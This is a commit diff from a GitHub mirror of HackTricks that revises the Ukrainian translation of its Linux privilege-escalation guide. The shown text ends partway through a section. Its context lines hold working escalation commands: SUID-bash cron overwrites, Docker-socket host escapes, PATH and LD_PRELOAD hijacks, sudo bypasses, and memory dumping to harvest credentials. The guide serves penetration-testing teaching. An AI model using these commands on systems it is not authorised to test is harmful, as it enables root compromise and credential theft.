mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/linux-hardening/privilege-escalation/README.md'] to uk
This commit is contained in:
		
							parent
							
								
									0dd31d1869
								
							
						
					
					
						commit
						644d61adcb
					
				@ -26,16 +26,16 @@ echo $PATH
 | 
			
		||||
```
 | 
			
		||||
### Kernel exploits
 | 
			
		||||
 | 
			
		||||
Перевірте версію ядра та чи існує якийсь експлойт, який можна використати для ескалації привілеїв.
 | 
			
		||||
Перевірте версію ядра та чи існує якийсь експлойт, який можна використати для ескалації привілеїв
 | 
			
		||||
```bash
 | 
			
		||||
cat /proc/version
 | 
			
		||||
uname -a
 | 
			
		||||
searchsploit "Linux Kernel"
 | 
			
		||||
```
 | 
			
		||||
Ви можете знайти хороший список вразливих ядер та деякі вже **скомпільовані експлойти** тут: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) та [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\
 | 
			
		||||
Ви можете знайти хороший список вразливих ядер та деякі вже **скомпільовані експлойти** тут: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) та [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
 | 
			
		||||
Інші сайти, де ви можете знайти деякі **скомпільовані експлойти**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
 | 
			
		||||
 | 
			
		||||
Щоб витягти всі вразливі версії ядра з цього веб-сайту, ви можете зробити:
 | 
			
		||||
Щоб витягти всі вразливі версії ядер з цього веб-сайту, ви можете зробити:
 | 
			
		||||
```bash
 | 
			
		||||
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
 | 
			
		||||
```
 | 
			
		||||
@ -45,7 +45,7 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2
 | 
			
		||||
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
 | 
			
		||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (виконати У жертви, перевіряє експлойти лише для ядра 2.x)
 | 
			
		||||
 | 
			
		||||
Завжди **шукайте версію ядра в Google**, можливо, ваша версія ядра вказана в якому-небудь експлойті ядра, і тоді ви будете впевнені, що цей експлойт дійсний.
 | 
			
		||||
Завжди **шукайте версію ядра в Google**, можливо, ваша версія ядра згадується в якому-небудь експлойті ядра, і тоді ви будете впевнені, що цей експлойт дійсний.
 | 
			
		||||
 | 
			
		||||
### CVE-2016-5195 (DirtyCow)
 | 
			
		||||
 | 
			
		||||
@ -57,9 +57,9 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
 | 
			
		||||
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
 | 
			
		||||
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
 | 
			
		||||
```
 | 
			
		||||
### Sudo версія
 | 
			
		||||
### Версія Sudo
 | 
			
		||||
 | 
			
		||||
На основі вразливих версій sudo, які з'являються в:
 | 
			
		||||
Виходячи з вразливих версій sudo, які з'являються в:
 | 
			
		||||
```bash
 | 
			
		||||
searchsploit sudo
 | 
			
		||||
```
 | 
			
		||||
@ -73,9 +73,9 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.
 | 
			
		||||
```
 | 
			
		||||
sudo -u#-1 /bin/bash
 | 
			
		||||
```
 | 
			
		||||
### Dmesg підписка не вдалася
 | 
			
		||||
### Dmesg підпис перевірки не вдався
 | 
			
		||||
 | 
			
		||||
Перевірте **smasher2 box of HTB** для **прикла** того, як цю уразливість можна експлуатувати
 | 
			
		||||
Перевірте **smasher2 box of HTB** для **прикладу** того, як цю уразливість можна експлуатувати
 | 
			
		||||
```bash
 | 
			
		||||
dmesg 2>/dev/null | grep "signature"
 | 
			
		||||
```
 | 
			
		||||
@ -86,7 +86,7 @@ date 2>/dev/null #Date
 | 
			
		||||
lscpu #CPU info
 | 
			
		||||
lpstat -a 2>/dev/null #Printers info
 | 
			
		||||
```
 | 
			
		||||
## Перерахувати можливі захисти
 | 
			
		||||
## Перерахувати можливі засоби захисту
 | 
			
		||||
 | 
			
		||||
### AppArmor
 | 
			
		||||
```bash
 | 
			
		||||
@ -131,7 +131,7 @@ docker-security/
 | 
			
		||||
 | 
			
		||||
## Drives
 | 
			
		||||
 | 
			
		||||
Перевірте **що змонтовано та не змонтовано**, де і чому. Якщо щось не змонтовано, ви можете спробувати змонтувати це і перевірити на наявність приватної інформації.
 | 
			
		||||
Перевірте **що змонтовано і не змонтовано**, де і чому. Якщо щось не змонтовано, ви можете спробувати змонтувати це і перевірити на наявність приватної інформації.
 | 
			
		||||
```bash
 | 
			
		||||
ls /dev 2>/dev/null | grep -i "sd"
 | 
			
		||||
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
 | 
			
		||||
@ -168,7 +168,7 @@ ps aux
 | 
			
		||||
ps -ef
 | 
			
		||||
top -n 1
 | 
			
		||||
```
 | 
			
		||||
Завжди перевіряйте наявність [**electron/cef/chromium debuggers**], які працюють, ви можете зловживати цим для ескалації привілеїв](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляють їх, перевіряючи параметр `--inspect` у командному рядку процесу.\
 | 
			
		||||
Завжди перевіряйте наявність [**electron/cef/chromium debuggers**], які працюють, ви можете зловживати цим для підвищення привілеїв](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляють їх, перевіряючи параметр `--inspect` у командному рядку процесу.\
 | 
			
		||||
Також **перевірте свої привілеї над бінарними файлами процесів**, можливо, ви зможете перезаписати когось.
 | 
			
		||||
 | 
			
		||||
### Моніторинг процесів
 | 
			
		||||
@ -178,11 +178,11 @@ top -n 1
 | 
			
		||||
### Пам'ять процесу
 | 
			
		||||
 | 
			
		||||
Деякі служби сервера зберігають **облікові дані у відкритому тексті в пам'яті**.\
 | 
			
		||||
Зазвичай вам потрібні **привілеї root**, щоб читати пам'ять процесів, які належать іншим користувачам, тому це зазвичай більш корисно, коли ви вже є root і хочете виявити більше облікових даних.\
 | 
			
		||||
Зазвичай вам потрібні **root-привілеї**, щоб читати пам'ять процесів, які належать іншим користувачам, тому це зазвичай більш корисно, коли ви вже є root і хочете виявити більше облікових даних.\
 | 
			
		||||
Однак пам'ятайте, що **як звичайний користувач ви можете читати пам'ять процесів, якими володієте**.
 | 
			
		||||
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> Зверніть увагу, що в даний час більшість машин **не дозволяють ptrace за замовчуванням**, що означає, що ви не можете скинути інші процеси, які належать вашому непривабливому користувачу.
 | 
			
		||||
> Зверніть увагу, що в наш час більшість машин **не дозволяють ptrace за замовчуванням**, що означає, що ви не можете скинути інші процеси, які належать вашому непривабливому користувачу.
 | 
			
		||||
>
 | 
			
		||||
> Файл _**/proc/sys/kernel/yama/ptrace_scope**_ контролює доступність ptrace:
 | 
			
		||||
>
 | 
			
		||||
@ -215,7 +215,7 @@ done
 | 
			
		||||
```
 | 
			
		||||
#### /proc/$pid/maps & /proc/$pid/mem
 | 
			
		||||
 | 
			
		||||
Для заданого ідентифікатора процесу, **maps показує, як пам'ять відображається в віртуальному адресному просторі цього процесу**; також показує **дозволи кожного відображеного регіону**. **mem** псевдофайл **викриває пам'ять процесів**. З файлу **maps** ми знаємо, які **регіони пам'яті є читабельними** та їх зсуви. Ми використовуємо цю інформацію, щоб **перейти до файлу mem і скинути всі читабельні регіони** у файл.
 | 
			
		||||
Для заданого ідентифікатора процесу, **maps показує, як пам'ять відображається в віртуальному адресному просторі цього процесу**; також показує **дозволи кожного відображеного регіону**. Псевдофайл **mem** **викриває пам'ять процесів**. З файлу **maps** ми знаємо, які **регіони пам'яті є читабельними** та їх зсуви. Ми використовуємо цю інформацію, щоб **перейти до файлу mem і скинути всі читабельні регіони** у файл.
 | 
			
		||||
```bash
 | 
			
		||||
procdump()
 | 
			
		||||
(
 | 
			
		||||
@ -237,7 +237,7 @@ strings /dev/mem -n10 | grep -i PASS
 | 
			
		||||
```
 | 
			
		||||
### ProcDump для linux
 | 
			
		||||
 | 
			
		||||
ProcDump - це переосмислення класичного інструменту ProcDump з набору інструментів Sysinternals для Windows. Отримайте його на [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
 | 
			
		||||
ProcDump - це переосмислення класичного інструменту ProcDump з набору інструментів Sysinternals для Windows. Отримайте його за посиланням [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
 | 
			
		||||
```
 | 
			
		||||
procdump -p 1714
 | 
			
		||||
 | 
			
		||||
@ -270,7 +270,7 @@ Press Ctrl-C to end monitoring without terminating the process.
 | 
			
		||||
 | 
			
		||||
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
 | 
			
		||||
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну видалити вимоги до root і вивантажити процес, що належить вам
 | 
			
		||||
- Скрипт A.5 з [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (вимагається root)
 | 
			
		||||
- Скрипт A.5 з [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (потрібен root)
 | 
			
		||||
 | 
			
		||||
### Облікові дані з пам'яті процесу
 | 
			
		||||
 | 
			
		||||
@ -290,14 +290,14 @@ strings *.dump | grep -i password
 | 
			
		||||
 | 
			
		||||
Інструмент [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **викраде відкриті облікові дані з пам'яті** та з деяких **відомих файлів**. Для правильної роботи потрібні права root.
 | 
			
		||||
 | 
			
		||||
| Особливість                                       | Назва процесу       |
 | 
			
		||||
| Функція                                           | Назва процесу       |
 | 
			
		||||
| ------------------------------------------------- | -------------------- |
 | 
			
		||||
| Пароль GDM (Kali Desktop, Debian Desktop)         | gdm-password         |
 | 
			
		||||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
 | 
			
		||||
| LightDM (Ubuntu Desktop)                          | lightdm              |
 | 
			
		||||
| VSFTPd (Активні FTP з'єднання)                   | vsftpd               |
 | 
			
		||||
| Apache2 (Активні сесії HTTP Basic Auth)          | apache2              |
 | 
			
		||||
| OpenSSH (Активні сесії SSH - Використання Sudo)  | sshd:                |
 | 
			
		||||
| OpenSSH (Активні SSH сесії - використання Sudo)  | sshd:                |
 | 
			
		||||
 | 
			
		||||
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
 | 
			
		||||
```bash
 | 
			
		||||
@ -340,7 +340,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
 | 
			
		||||
```bash
 | 
			
		||||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
 | 
			
		||||
```
 | 
			
		||||
**Якщо символ підстановки передує шляху, як** _**/some/path/\***_ **, він не вразливий (навіть** _**./\***_ **не є).**
 | 
			
		||||
**Якщо символ підстановки передує шляху, як** _**/some/path/\***_ **, він не є вразливим (навіть** _**./\***_ **не є).**
 | 
			
		||||
 | 
			
		||||
Прочитайте наступну сторінку для отримання додаткових трюків експлуатації символів підстановки:
 | 
			
		||||
 | 
			
		||||
@ -348,9 +348,9 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys
 | 
			
		||||
wildcards-spare-tricks.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### Перезапис скрипта Cron і символічне посилання
 | 
			
		||||
### Перезапис скрипта cron і символічне посилання
 | 
			
		||||
 | 
			
		||||
Якщо ви **можете змінити скрипт cron**, що виконується від імені root, ви можете дуже легко отримати оболонку:
 | 
			
		||||
Якщо ви **можете змінити скрипт cron**, що виконується від імені root, ви можете дуже легко отримати shell:
 | 
			
		||||
```bash
 | 
			
		||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
 | 
			
		||||
#Wait until it is executed
 | 
			
		||||
@ -368,7 +368,7 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
 | 
			
		||||
```bash
 | 
			
		||||
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
 | 
			
		||||
```
 | 
			
		||||
**Ви також можете використовувати** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (це буде моніторити та перераховувати кожен процес, який запускається).
 | 
			
		||||
**Ви також можете використовувати** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (це буде моніторити та перераховувати кожен процес, що запускається).
 | 
			
		||||
 | 
			
		||||
### Невидимі cron завдання
 | 
			
		||||
 | 
			
		||||
@ -393,13 +393,13 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
 | 
			
		||||
```bash
 | 
			
		||||
systemctl show-environment
 | 
			
		||||
```
 | 
			
		||||
Якщо ви виявите, що можете **записувати** в будь-якій з папок шляху, ви можете **підвищити привілеї**. Вам потрібно шукати **відносні шляхи, що використовуються в конфігураційних файлах сервісів**, таких як:
 | 
			
		||||
Якщо ви виявите, що можете **записувати** в будь-якій з папок шляху, ви можете мати можливість **підвищити привілеї**. Вам потрібно шукати **відносні шляхи, що використовуються в конфігураційних файлах сервісів**, таких як:
 | 
			
		||||
```bash
 | 
			
		||||
ExecStart=faraday-server
 | 
			
		||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
 | 
			
		||||
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
 | 
			
		||||
```
 | 
			
		||||
Тоді створіть **виконуваний файл** з **тим самим ім'ям, що й відносний шлях до бінарного файлу** в папці системи systemd, в яку ви можете записувати, і коли служба буде запитана для виконання вразливої дії (**Запустити**, **Зупинити**, **Перезавантажити**), ваш **бекдор буде виконано** (звичайно, користувачі без привілеїв не можуть запускати/зупиняти служби, але перевірте, чи можете ви використовувати `sudo -l`).
 | 
			
		||||
Тоді створіть **виконуваний файл** з **тим самим ім'ям, що й відносний шлях до бінарного файлу** в папці системи systemd, в яку ви можете записувати, і коли служба буде запитана для виконання вразливої дії (**Почати**, **Зупинити**, **Перезавантажити**), ваш **бекдор буде виконано** (зазвичай користувачі без привілеїв не можуть починати/зупиняти служби, але перевірте, чи можете ви використовувати `sudo -l`).
 | 
			
		||||
 | 
			
		||||
**Дізнайтеся більше про служби за допомогою `man systemd.service`.**
 | 
			
		||||
 | 
			
		||||
@ -439,17 +439,17 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li
 | 
			
		||||
 | 
			
		||||
## Сокети
 | 
			
		||||
 | 
			
		||||
Unix Domain Sockets (UDS) дозволяють **комунікацію процесів** на тих же або різних машинах у рамках моделей клієнт-сервер. Вони використовують стандартні файли дескрипторів Unix для міжкомп'ютерної комунікації та налаштовуються через файли `.socket`.
 | 
			
		||||
Unix Domain Sockets (UDS) дозволяють **комунікацію процесів** на тих же або різних машинах в рамках моделей клієнт-сервер. Вони використовують стандартні файли дескрипторів Unix для міжкомп'ютерної комунікації і налаштовуються через файли `.socket`.
 | 
			
		||||
 | 
			
		||||
Сокети можна налаштувати за допомогою файлів `.socket`.
 | 
			
		||||
 | 
			
		||||
**Дізнайтеся більше про сокети за допомогою `man systemd.socket`.** У цьому файлі можна налаштувати кілька цікавих параметрів:
 | 
			
		||||
 | 
			
		||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ці параметри різні, але підсумок використовується для **вказівки, де буде прослуховуватися** сокет (шлях до файлу сокета AF_UNIX, IPv4/6 та/або номер порту для прослуховування тощо)
 | 
			
		||||
- `Accept`: Приймає булевий аргумент. Якщо **true**, **екземпляр служби створюється для кожного вхідного з'єднання** і лише сокет з'єднання передається йому. Якщо **false**, всі сокети прослуховування самі **передаються запущеній одиниці служби**, і лише одна одиниця служби створюється для всіх з'єднань. Це значення ігнорується для датаграмних сокетів і FIFO, де одна одиниця служби безумовно обробляє весь вхідний трафік. **За замовчуванням false**. З міркувань продуктивності рекомендується писати нові демони лише в спосіб, який підходить для `Accept=no`.
 | 
			
		||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ці параметри різні, але підсумок використовується для **вказівки, де буде прослуховуватися** сокет (шлях до файлу сокета AF_UNIX, IPv4/6 і/або номер порту для прослуховування тощо)
 | 
			
		||||
- `Accept`: Приймає булевий аргумент. Якщо **true**, **екземпляр служби створюється для кожного вхідного з'єднання** і тільки сокет з'єднання передається йому. Якщо **false**, всі сокети прослуховування самі **передаються запущеній одиниці служби**, і тільки одна одиниця служби створюється для всіх з'єднань. Це значення ігнорується для датаграмних сокетів і FIFO, де одна одиниця служби безумовно обробляє весь вхідний трафік. **За замовчуванням false**. З міркувань продуктивності рекомендується писати нові демони лише в спосіб, який підходить для `Accept=no`.
 | 
			
		||||
- `ExecStartPre`, `ExecStartPost`: Приймає одну або кілька командних рядків, які **виконуються перед** або **після** того, як прослуховуючі **сокети**/FIFO **створені** та прив'язані відповідно. Перший токен командного рядка повинен бути абсолютним іменем файлу, за ним слідують аргументи для процесу.
 | 
			
		||||
- `ExecStopPre`, `ExecStopPost`: Додаткові **команди**, які **виконуються перед** або **після** того, як прослуховуючі **сокети**/FIFO **закриті** та видалені відповідно.
 | 
			
		||||
- `Service`: Вказує ім'я **одиниці служби**, **яку потрібно активувати** при **вхідному трафіку**. Ця настройка дозволена лише для сокетів з Accept=no. За замовчуванням це служба, яка має таку ж назву, як сокет (з заміною суфікса). У більшості випадків не повинно бути необхідності використовувати цю опцію.
 | 
			
		||||
- `Service`: Вказує ім'я **одиниці служби**, **яку потрібно активувати** при **вхідному трафіку**. Ця настройка дозволена лише для сокетів з Accept=no. За замовчуванням вона відповідає службі, яка має таку ж назву, як сокет (з заміненим суфіксом). У більшості випадків не повинно бути необхідності використовувати цю опцію.
 | 
			
		||||
 | 
			
		||||
### Записувані .socket файли
 | 
			
		||||
 | 
			
		||||
@ -464,7 +464,7 @@ _Зверніть увагу, що система повинна викорис
 | 
			
		||||
```bash
 | 
			
		||||
netstat -a -p --unix
 | 
			
		||||
```
 | 
			
		||||
### Сира з'єднання
 | 
			
		||||
### Сире з'єднання
 | 
			
		||||
```bash
 | 
			
		||||
#apt-get install netcat-openbsd
 | 
			
		||||
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
 | 
			
		||||
@ -481,19 +481,19 @@ socket-command-injection.md
 | 
			
		||||
 | 
			
		||||
### HTTP сокети
 | 
			
		||||
 | 
			
		||||
Зверніть увагу, що можуть бути деякі **сокети, що слухають HTTP** запити (_Я не говорю про .socket файли, а про файли, що діють як unix сокети_). Ви можете перевірити це за допомогою:
 | 
			
		||||
Зверніть увагу, що можуть бути деякі **сокети, які слухають HTTP** запити (_Я не говорю про .socket файли, а про файли, які діють як unix сокети_). Ви можете перевірити це за допомогою:
 | 
			
		||||
```bash
 | 
			
		||||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
 | 
			
		||||
```
 | 
			
		||||
Якщо сокет **відповідає HTTP** запитом, ви можете **спілкуватися** з ним і, можливо, **використати деяку вразливість**.
 | 
			
		||||
Якщо сокет **відповідає HTTP** запитом, ви можете **спілкуватися** з ним і, можливо, **використати якусь вразливість**.
 | 
			
		||||
 | 
			
		||||
### Записуваний Docker Socket
 | 
			
		||||
 | 
			
		||||
Docker сокет, зазвичай розташований за адресою `/var/run/docker.sock`, є критично важливим файлом, який слід захистити. За замовчуванням, він доступний для запису користувачу `root` та членам групи `docker`. Наявність доступу на запис до цього сокета може призвести до підвищення привілеїв. Ось розгляд того, як це можна зробити, а також альтернативні методи, якщо Docker CLI недоступний.
 | 
			
		||||
Docker сокет, зазвичай розташований за адресою `/var/run/docker.sock`, є критично важливим файлом, який слід захистити. За замовчуванням, він доступний для запису користувачу `root` та членам групи `docker`. Наявність доступу на запис до цього сокету може призвести до підвищення привілеїв. Ось розгляд того, як це можна зробити, а також альтернативні методи, якщо Docker CLI недоступний.
 | 
			
		||||
 | 
			
		||||
#### **Підвищення привілеїв за допомогою Docker CLI**
 | 
			
		||||
 | 
			
		||||
Якщо у вас є доступ на запис до Docker сокета, ви можете підвищити привілеї, використовуючи наступні команди:
 | 
			
		||||
Якщо у вас є доступ на запис до Docker сокету, ви можете підвищити привілеї, використовуючи наступні команди:
 | 
			
		||||
```bash
 | 
			
		||||
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
 | 
			
		||||
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
 | 
			
		||||
@ -504,7 +504,7 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse
 | 
			
		||||
 | 
			
		||||
У випадках, коли Docker CLI недоступний, сокет Docker все ще можна маніпулювати, використовуючи Docker API та команди `curl`.
 | 
			
		||||
 | 
			
		||||
1.  **Список Docker образів:** Отримати список доступних образів.
 | 
			
		||||
1.  **Список Docker Images:** Отримати список доступних образів.
 | 
			
		||||
 | 
			
		||||
```bash
 | 
			
		||||
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
 | 
			
		||||
@ -562,9 +562,9 @@ runc-privilege-escalation.md
 | 
			
		||||
 | 
			
		||||
## **D-Bus**
 | 
			
		||||
 | 
			
		||||
D-Bus — це складна **система міжпроцесорної комунікації (IPC)**, яка дозволяє додаткам ефективно взаємодіяти та обмінюватися даними. Розроблена з урахуванням сучасної системи Linux, вона пропонує надійну основу для різних форм комунікації між додатками.
 | 
			
		||||
D-Bus — це складна **система міжпроцесорної комунікації (IPC)**, яка дозволяє додаткам ефективно взаємодіяти та обмінюватися даними. Розроблена з урахуванням сучасної системи Linux, вона пропонує надійну структуру для різних форм комунікації між додатками.
 | 
			
		||||
 | 
			
		||||
Система є універсальною, підтримуючи базову IPC, яка покращує обмін даними між процесами, нагадуючи **покращені сокети домену UNIX**. Крім того, вона допомагає у трансляції подій або сигналів, сприяючи безперебійній інтеграції між компонентами системи. Наприклад, сигнал від демона Bluetooth про вхідний дзвінок може змусити музичний плеєр вимкнути звук, покращуючи досвід користувача. Крім того, D-Bus підтримує систему віддалених об'єктів, спрощуючи запити на послуги та виклики методів між додатками, спрощуючи процеси, які традиційно були складними.
 | 
			
		||||
Система є універсальною, підтримуючи базову IPC, яка покращує обмін даними між процесами, нагадуючи **покращені сокети домену UNIX**. Крім того, вона допомагає у трансляції подій або сигналів, сприяючи безперебійній інтеграції між компонентами системи. Наприклад, сигнал від Bluetooth-демона про вхідний дзвінок може змусити музичний плеєр вимкнути звук, покращуючи досвід користувача. Крім того, D-Bus підтримує систему віддалених об'єктів, спрощуючи запити на послуги та виклики методів між додатками, спрощуючи процеси, які раніше були традиційно складними.
 | 
			
		||||
 | 
			
		||||
D-Bus працює за моделлю **дозволу/заборони**, керуючи дозволами на повідомлення (виклики методів, випуск сигналів тощо) на основі кумулятивного ефекту відповідних правил політики. Ці політики визначають взаємодії з шиною, потенційно дозволяючи підвищення привілеїв через експлуатацію цих дозволів.
 | 
			
		||||
 | 
			
		||||
@ -627,9 +627,9 @@ timeout 1 tcpdump
 | 
			
		||||
```
 | 
			
		||||
## Користувачі
 | 
			
		||||
 | 
			
		||||
### Загальна Перевірка
 | 
			
		||||
### Загальна Перерахунка
 | 
			
		||||
 | 
			
		||||
Перевірте **хто** ви, які **привілеї** у вас є, які **користувачі** є в системах, які можуть **увійти** та які мають **root-привілеї:**
 | 
			
		||||
Перевірте **хто** ви, які **привілеї** у вас є, які **користувачі** є в системах, які можуть **увійти** і які мають **root-привілеї:**
 | 
			
		||||
```bash
 | 
			
		||||
#Info about me
 | 
			
		||||
id || (whoami && groups) 2>/dev/null
 | 
			
		||||
@ -736,9 +736,9 @@ User waldo may run the following commands on admirer:
 | 
			
		||||
```bash
 | 
			
		||||
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
 | 
			
		||||
```
 | 
			
		||||
### Sudo виконання обходу шляхів
 | 
			
		||||
### Обхід шляхів виконання Sudo
 | 
			
		||||
 | 
			
		||||
**Перейти** до читання інших файлів або використовувати **символьні посилання**. Наприклад, у файлі sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
 | 
			
		||||
**Перейдіть** для читання інших файлів або використовуйте **символьні посилання**. Наприклад, у файлі sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
 | 
			
		||||
```bash
 | 
			
		||||
sudo less /var/logs/anything
 | 
			
		||||
less>:e /etc/shadow #Jump to read other files using privileged less
 | 
			
		||||
@ -755,7 +755,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
 | 
			
		||||
```
 | 
			
		||||
**Контрзаходи**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
 | 
			
		||||
 | 
			
		||||
### Команда Sudo/SUID бінарний файл без шляху команди
 | 
			
		||||
### Команда Sudo/SUID бінарний файл без шляху до команди
 | 
			
		||||
 | 
			
		||||
Якщо **дозвіл sudo** надано для однієї команди **без вказівки шляху**: _hacker10 ALL= (root) less_, ви можете скористатися цим, змінивши змінну PATH.
 | 
			
		||||
```bash
 | 
			
		||||
@ -763,15 +763,15 @@ export PATH=/tmp:$PATH
 | 
			
		||||
#Put your backdoor in /tmp and name it "less"
 | 
			
		||||
sudo less
 | 
			
		||||
```
 | 
			
		||||
Цю техніку також можна використовувати, якщо **suid** бінар **виконує іншу команду, не вказуючи шлях до неї (завжди перевіряйте за допомогою** _**strings**_ **вміст дивного SUID бінару)**.
 | 
			
		||||
Цю техніку також можна використовувати, якщо **suid** бінарний файл **виконує іншу команду, не вказуючи шлях до неї (завжди перевіряйте за допомогою** _**strings**_ **вміст дивного SUID бінарного файлу)**.
 | 
			
		||||
 | 
			
		||||
[Приклади payload для виконання.](payloads-to-execute.md)
 | 
			
		||||
[Приклади корисного навантаження для виконання.](payloads-to-execute.md)
 | 
			
		||||
 | 
			
		||||
### SUID бінар з шляхом до команди
 | 
			
		||||
### SUID бінарний файл з шляхом до команди
 | 
			
		||||
 | 
			
		||||
Якщо **suid** бінар **виконує іншу команду, вказуючи шлях**, тоді ви можете спробувати **експортувати функцію**, названу так само, як команда, яку викликає файл suid.
 | 
			
		||||
Якщо **suid** бінарний файл **виконує іншу команду, вказуючи шлях**, тоді ви можете спробувати **експортувати функцію**, названу так само, як команда, яку викликає файл suid.
 | 
			
		||||
 | 
			
		||||
Наприклад, якщо suid бінар викликає _**/usr/sbin/service apache2 start**_, вам потрібно спробувати створити функцію та експортувати її:
 | 
			
		||||
Наприклад, якщо suid бінарний файл викликає _**/usr/sbin/service apache2 start**_, вам потрібно спробувати створити функцію та експортувати її:
 | 
			
		||||
```bash
 | 
			
		||||
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
 | 
			
		||||
export -f /usr/sbin/service
 | 
			
		||||
@ -814,7 +814,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
 | 
			
		||||
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
 | 
			
		||||
```
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> Схожий privesc може бути зловжито, якщо зловмисник контролює змінну середовища **LD_LIBRARY_PATH**, оскільки він контролює шлях, де будуть шукатися бібліотеки.
 | 
			
		||||
> Схожий privesc може бути зловжито, якщо зловмисник контролює змінну середовища **LD_LIBRARY_PATH**, оскільки він контролює шлях, за яким будуть шукатися бібліотеки.
 | 
			
		||||
```c
 | 
			
		||||
#include <stdio.h>
 | 
			
		||||
#include <stdlib.h>
 | 
			
		||||
@ -840,7 +840,7 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
 | 
			
		||||
```bash
 | 
			
		||||
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
 | 
			
		||||
```
 | 
			
		||||
Наприклад, зустріч помилки на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ вказує на потенціал для експлуатації.
 | 
			
		||||
Наприклад, виникнення помилки на кшталт _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ вказує на потенціал для експлуатації.
 | 
			
		||||
 | 
			
		||||
Щоб експлуатувати це, потрібно створити C файл, скажімо _"/path/to/.config/libcalc.c"_, що міститиме наступний код:
 | 
			
		||||
```c
 | 
			
		||||
